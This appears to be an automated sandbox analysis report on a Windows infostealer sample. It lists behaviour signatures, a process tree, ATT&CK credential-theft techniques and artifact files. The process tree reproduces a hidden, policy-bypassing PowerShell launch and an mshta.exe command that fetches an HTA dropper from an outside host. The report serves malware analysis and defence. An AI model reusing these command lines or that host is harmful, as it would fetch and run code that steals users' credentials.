Analysis
- max time kernel
149s - max time network
153s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
22/05/2026, 23:45
General
- Target 2026-05-22_f3958500893bd62fb6ebd9a26fdb7e3b_cryptbot_icedid_luca-stealer_njrat_stealc.exe
- Size 142.2MB
- Sample260522-3ry9ysa121
- SHA256 4b5cd7c553f9e21b3afee13962942bc3d5c401345eb20e7dc31ae669bac8940f
Malware Config
Extracted
-
hta
-
hta.dropper
https://snconor.vg
Signatures
- Badlisted process makes network request 5 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Using powershell.exe command.
- Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 2 IoCs
- Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Modifies Internet Explorer settings 1 TTPs 2 IoCs
- Modifies registry class 1 IoCs
- Script User-Agent 1 IoCs
Uses user-agent string associated with script host/environment.
- Suspicious behavior: EnumeratesProcesses 15 IoCs
- Suspicious behavior: MapViewOfSection 2 IoCs
- Suspicious use of AdjustPrivilegeToken 5 IoCs
- Suspicious use of WriteProcessMemory 8 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-05-22_f3958500893bd62fb6ebd9a26fdb7e3b_cryptbot_icedid_luca-stealer_njrat_stealc.exe"C:\Users\Admin\AppData\Local\Temp\2026-05-22_f3958500893bd62fb6ebd9a26fdb7e3b_cryptbot_icedid_luca-stealer_njrat_stealc.exe"1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RarSFX0\Setup.vbs"2⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -NoLogo -NoProfile -NonInteractive -Command "& { try { $ErrorActionPreference='SilentlyContinue'; . '"C:\Users\Admin\AppData\Local\Temp\RarSFX0\data\.runner.ps1"'; } catch {} }"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\tmp_GM7C8b6xOBw6pA\qFEhll2Ftm.exe"C:\Users\Admin\AppData\Local\Temp\tmp_GM7C8b6xOBw6pA\qFEhll2Ftm.exe"4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\4T9u5J1aBcssRkwoiLHH4Z5Noig.exe"C:\Users\Admin\AppData\Local\Temp\4T9u5J1aBcssRkwoiLHH4Z5Noig.exe"5⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Google\Chrome\Application\chrome.exeC:\Program Files\Google\Chrome\Application\chrome.exe6⤵
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe -NoP -NoLogo -NonI -Command -6⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\mshta.exe"C:\Windows\System32\mshta.exe" https://snconor.vg7⤵
- Badlisted process makes network request
- Modifies Internet Explorer settings
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
-
-
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
Network
MITRE ATT&CK Enterprise v16
Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
3Credentials In Files
3Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
StartupProfileData-NonInteractive
4T9u5J1aBcssRkwoiLHH4Z5Noig.exe
Setup.vbs
.runner.ps1
file1_info.json
CEn9gRPo3FRr.part
VM7uWo250Kk6.part
cxwRTMvjCpcT.part
d20BBzV21MOg.part
laCdidVvPyNN.part
pXSVOYcz6MdI.part
rebDXfuU2IZm.part
__PSScriptPolicyTest_5kgswhxx.xpl.ps1
qFEhll2Ftm.exe
memory/2936-25-0x00000218F9C40000-0x00000218F9C62000-memory.dmp
memory/2936-34-0x00000218FA570000-0x00000218FA732000-memory.dmp
memory/2936-36-0x00000218FAC70000-0x00000218FB198000-memory.dmp
memory/4320-159-0x0000000000400000-0x0000000000451000-memory.dmp
memory/4320-141-0x0000000000400000-0x0000000000451000-memory.dmp
memory/4320-65-0x0000000000400000-0x0000000000451000-memory.dmp
memory/4320-69-0x0000000000400000-0x0000000000451000-memory.dmp
memory/4320-67-0x0000000000400000-0x0000000000451000-memory.dmp
memory/4320-73-0x0000000000400000-0x0000000000451000-memory.dmp
memory/4320-79-0x0000000000400000-0x0000000000451000-memory.dmp
memory/4320-89-0x0000000000400000-0x0000000000451000-memory.dmp
memory/4320-107-0x0000000000400000-0x0000000000451000-memory.dmp
memory/4320-137-0x0000000000400000-0x0000000000451000-memory.dmp
memory/4320-175-0x0000000000400000-0x0000000000451000-memory.dmp
memory/4320-183-0x0000000000400000-0x0000000000451000-memory.dmp
memory/4320-181-0x0000000000400000-0x0000000000451000-memory.dmp
memory/4320-179-0x0000000000400000-0x0000000000451000-memory.dmp
memory/4320-177-0x0000000000400000-0x0000000000451000-memory.dmp
memory/4320-173-0x0000000000400000-0x0000000000451000-memory.dmp
memory/4320-171-0x0000000000400000-0x0000000000451000-memory.dmp
memory/4320-169-0x0000000000400000-0x0000000000451000-memory.dmp
memory/4320-167-0x0000000000400000-0x0000000000451000-memory.dmp
memory/4320-165-0x0000000000400000-0x0000000000451000-memory.dmp
memory/4320-163-0x0000000000400000-0x0000000000451000-memory.dmp
memory/4320-161-0x0000000000400000-0x0000000000451000-memory.dmp
memory/4320-61-0x0000000000400000-0x0000000000451000-memory.dmp
memory/4320-157-0x0000000000400000-0x0000000000451000-memory.dmp
memory/4320-155-0x0000000000400000-0x0000000000451000-memory.dmp
memory/4320-153-0x0000000000400000-0x0000000000451000-memory.dmp
memory/4320-151-0x0000000000400000-0x0000000000451000-memory.dmp
memory/4320-149-0x0000000000400000-0x0000000000451000-memory.dmp
memory/4320-147-0x0000000000400000-0x0000000000451000-memory.dmp
memory/4320-145-0x0000000000400000-0x0000000000451000-memory.dmp
memory/4320-143-0x0000000000400000-0x0000000000451000-memory.dmp
memory/4320-63-0x0000000000400000-0x0000000000451000-memory.dmp
memory/4320-139-0x0000000000400000-0x0000000000451000-memory.dmp
memory/4320-135-0x0000000000400000-0x0000000000451000-memory.dmp
memory/4320-133-0x0000000000400000-0x0000000000451000-memory.dmp
memory/4320-131-0x0000000000400000-0x0000000000451000-memory.dmp
memory/4320-129-0x0000000000400000-0x0000000000451000-memory.dmp
memory/4320-127-0x0000000000400000-0x0000000000451000-memory.dmp
memory/4320-125-0x0000000000400000-0x0000000000451000-memory.dmp
memory/4320-123-0x0000000000400000-0x0000000000451000-memory.dmp
memory/4320-121-0x0000000000400000-0x0000000000451000-memory.dmp
memory/4320-119-0x0000000000400000-0x0000000000451000-memory.dmp
memory/4320-117-0x0000000000400000-0x0000000000451000-memory.dmp
memory/4320-115-0x0000000000400000-0x0000000000451000-memory.dmp
memory/4320-113-0x0000000000400000-0x0000000000451000-memory.dmp
memory/4320-111-0x0000000000400000-0x0000000000451000-memory.dmp
memory/4320-109-0x0000000000400000-0x0000000000451000-memory.dmp
memory/4320-105-0x0000000000400000-0x0000000000451000-memory.dmp
memory/4320-103-0x0000000000400000-0x0000000000451000-memory.dmp
memory/4320-101-0x0000000000400000-0x0000000000451000-memory.dmp
memory/4320-99-0x0000000000400000-0x0000000000451000-memory.dmp
memory/4320-97-0x0000000000400000-0x0000000000451000-memory.dmp
memory/4320-95-0x0000000000400000-0x0000000000451000-memory.dmp
memory/4320-93-0x0000000000400000-0x0000000000451000-memory.dmp
memory/4320-91-0x0000000000400000-0x0000000000451000-memory.dmp
memory/4320-87-0x0000000000400000-0x0000000000451000-memory.dmp
memory/4320-85-0x0000000000400000-0x0000000000451000-memory.dmp
memory/4320-83-0x0000000000400000-0x0000000000451000-memory.dmp
memory/4320-81-0x0000000000400000-0x0000000000451000-memory.dmp
memory/4320-77-0x0000000000400000-0x0000000000451000-memory.dmp
memory/4320-75-0x0000000000400000-0x0000000000451000-memory.dmp
memory/4320-71-0x0000000000400000-0x0000000000451000-memory.dmp
memory/4320-60-0x0000000000400000-0x0000000000451000-memory.dmp
memory/4320-59-0x0000000000400000-0x0000000000451000-memory.dmp